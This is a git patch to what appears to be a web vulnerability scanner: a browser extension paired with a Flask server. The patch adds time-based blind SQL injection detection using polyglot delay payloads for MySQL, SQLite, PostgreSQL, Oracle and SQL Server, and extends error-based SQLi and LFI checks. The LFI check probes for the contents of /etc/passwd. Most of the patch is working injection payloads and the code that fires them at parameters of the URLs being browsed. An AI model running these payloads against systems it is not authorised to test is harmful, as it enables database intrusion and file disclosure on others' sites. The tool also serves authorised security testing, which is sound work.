From 2ab2bf161c43f48cc4c73666b39196c24bdced37 Mon Sep 17 00:00:00 2001 From: swisskyrepo Date: Tue, 27 Dec 2016 14:00:55 +0100 Subject: [PATCH] TimeBased SQL injection scanner --- Plugin/background.js | 6 +++--- Plugin/vulns.html | 2 +- README.md | 4 ++-- Server/launch.sh | 2 +- Server/server.py | 40 ++++++++++++++++++++++++++++++++-------- 5 files changed, 39 insertions(+), 15 deletions(-) diff --git a/Plugin/background.js b/Plugin/background.js index 250cf5c..106d018 100644 --- a/Plugin/background.js +++ b/Plugin/background.js @@ -39,7 +39,7 @@ function send_target(server, url, deep, impact){ // Update XSS count chrome.storage.sync.get(['xss'], function(items) { - chrome.storage.sync.set({'xss': items['xss']+1}) + chrome.storage.sync.set({'xss': items['xss']+parseInt(http_data.xss)}) }); // Update vulnerabilities URL list @@ -57,7 +57,7 @@ function send_target(server, url, deep, impact){ // Update SQL count chrome.storage.sync.get(['sql'], function(items) { - chrome.storage.sync.set({'sql': items['sql']+1}) + chrome.storage.sync.set({'sql': items['sql']+parseInt(http_data.sql)}) }); // Update vulnerabilities URL list @@ -74,7 +74,7 @@ function send_target(server, url, deep, impact){ if (http_data.lfi != '0'){ // Update LFI count chrome.storage.sync.get(['lfi'], function(items) { - chrome.storage.sync.set({'lfi': items['lfi']+1}) + chrome.storage.sync.set({'lfi': items['lfi']+parseInt(http_data.lfi)}) }); // Update vulnerabilities URL list diff --git a/Plugin/vulns.html b/Plugin/vulns.html index 14d39ef..e3969d3 100644 --- a/Plugin/vulns.html +++ b/Plugin/vulns.html @@ -90,7 +90,7 @@ STOP - LIST + LIST
Status Server
diff --git a/README.md b/README.md index 346ec0c..1f1ef81 100755 --- a/README.md +++ b/README.md @@ -14,6 +14,7 @@ Currently it scans for: - Start/Stop button - New XSS vectors, work in different contexts (JS var, JS function, inside HTML tag, outside HTML tag) - Basic page to list the vulnerabilities URL and TYPE +- Time based SQLi scanner using polyglot vectors (MySQL, SQLite, Oracle, Postgresql, SQL Server) ## Install You need to install and configure the server, it uses ghost and flask with gunicorn @@ -41,8 +42,7 @@ var config_server = "http://127.0.0.1:8000"; 4 - Browse the internet ! ## TODO - Work in progress -- ScanSQLBlindTime function -- Should detect target in source code.. +- Should detect target in source code.. (list of targets, then launch scan) - Should detect and work with POST requests - Export function for vulnerabilities - Add some functions from https://sergeybelove.ru/one-button-scan/result/3004e0b978f19e58e3239087d119742779e1efbc/ diff --git a/Server/launch.sh b/Server/launch.sh index c32f317..3e96981 100755 --- a/Server/launch.sh +++ b/Server/launch.sh @@ -1 +1 @@ -gunicorn --workers=3 server:app +gunicorn --workers=3 server:app --timeout 90 diff --git a/Server/server.py b/Server/server.py index 8222bda..4e8e0f7 100644 --- a/Server/server.py +++ b/Server/server.py @@ -3,6 +3,7 @@ from flask import Flask, request, jsonify from ghost import Ghost import requests +import datetime import re app = Flask(__name__) @@ -45,10 +46,10 @@ def scan_sql_error(vulns, url, fuzz): inject = url.replace(fuzz+"=", fuzz+"="+payload) content = requests.get(inject).text - if "Warning: SQLite3:" in content or "You have an error in your SQL syntax" in content: + if "SQLSTATE[HY000]" in content or "Warning: SQLite3:" in content or "You have an error in your SQL syntax" in content: print "\t\t\033[93mSQLi Detected \033[0m for ", fuzz, " with the payload :", payload vulns['sql'] += 1 - vulns['list'] += 'SQLi|TYPE|'+inject+'|DELIMITER|' + vulns['list'] += 'E_SQLi|TYPE|'+inject+'|DELIMITER|' else: print "\t\t\033[94mSQLi Failed \033[0m for ", fuzz, " with the payload :", payload @@ -58,12 +59,33 @@ Description: use a polyglot vector to detect a SQL injection based on the respon Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify """ def scan_sql_blind_time(vulns, url, fuzz): - payload = "SleEP(2) /*' || SLeeP(2) || '\" || SLEep(2) || \"*/" - payload0 = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|\"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR\"*/" - # TODO - return + mysql_payload = "SLEEP(4) /*' || SLEEP(4) || '\" || SLEEP(4) || \"*/" + sqlite_payload = "substr(upper(hex(randomblob(55555555))),0,1) /*' || substr(upper(hex(randomblob(55555555))),0,1) || '\" || substr(upper(hex(randomblob(55555555))),0,1) || \"*/" + postgre_payload = "(SELECT 55555555 FROM PG_SLEEP(4)) /*' || (SELECT 55555555 FROM PG_SLEEP(4)) || '\" || (SELECT 55555555 FROM PG_SLEEP(4)) || \"*/" + oracle_payload = "DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) /*' || DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) || '\" || DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) || \"*/" + sqlserver_payload = "WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) /*' || WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) || '\" || WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) || \"*/" + payloads_name = ["MySQL", "SQLite", "PostgreSQL", "OracleSQL", "SQL Server"] + payloads_list = [mysql_payload, sqlite_payload, postgre_payload, oracle_payload, sqlserver_payload] + for payload,name in zip(payloads_list,payloads_name): + # Do a request and check the response time + inject = url.replace(fuzz+"=", fuzz+"="+payload) + time1 = datetime.datetime.now() + content = requests.get(inject).text + time2 = datetime.datetime.now() + diff = time2 - time1 + diff = (divmod(diff.days * 86400 + diff.seconds, 60))[1] + + # Our payloads will force a delay of 4s at least. + if diff > 2: + print "\t\t\033[93mTime Based SQLi (", name ,") Detected \033[0m for ", fuzz, " with the payload :", sqlite_payload + vulns['sql'] += 1 + vulns['list'] += 'B_SQLi|TYPE|'+inject+'|DELIMITER|' + return + + else: + print "\t\t\033[94mTime Based SQLi (", name ,") Failed \033[0m for ", fuzz, " with the payload :", payload """scan_lfi Description: will scan every parameter for LFI, checking for the common root:x:0:0 @@ -81,6 +103,7 @@ def scan_lfi(vulns, url, fuzz): else: print "\t\t\033[94mLFI Failed \033[0m for ", fuzz, " with the payload :", payload, inject + """ Route /ping Description: Simple ping implementation to check if the server is up via the extension """ @@ -107,11 +130,12 @@ def index(): # Launch scans for fuzz in matches: + print "\n---[ New parameter : "+fuzz+" ]---" scan_xss(vulns, url, fuzz) + scan_lfi(vulns, url, fuzz) scan_sql_error(vulns, url, fuzz) scan_sql_blind_time(vulns, url, fuzz) - scan_lfi(vulns, url, fuzz) - + # Display results as a json return jsonify(vulns)